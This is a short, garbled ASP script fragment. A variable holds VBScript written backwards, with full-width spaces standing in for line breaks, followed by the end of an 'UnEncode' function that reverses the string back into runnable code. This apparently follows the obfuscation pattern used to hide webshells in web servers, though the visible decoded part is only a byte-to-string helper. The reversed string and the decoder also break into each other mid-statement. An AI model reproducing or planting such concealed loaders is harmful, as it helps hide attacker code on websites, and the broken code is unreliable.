<% Dim FlinkSys FlinkSys="　noitcnuF dnE　nruteRrts = RTSB2setyb　txeN　fI dnE　1 + i = i　))edoCrahCtxeN(tnIC + 001H& * )edoCrahCsihT(gnLC(rhC & nruteRrts = nruteRrts　))1,1+i,nIv(BdiM(BcsA = edoCrahCtxeN　eslE　)edoCrahCsihT(rhC & nruteRrts = nruteRrts　nehT 08H& < edoCrahCsihT fI　))1,i,nIv(BdiM(BcsA = edoCrahCsihT　)nIv(BneL oT 1 = i roF　"""" = nruteRrts　edoCrahCtxeN,edoCrahCsihT,i mid　nruteRrts mid　)nIv(RTSB2setyb noitcnuF　noitcnuf dne　 raelC.rre neht 0> "　" then temp = Mid(cc, i, 1) + temp else temp=vbcrlf&temp end if next UnEncode=temp end function %>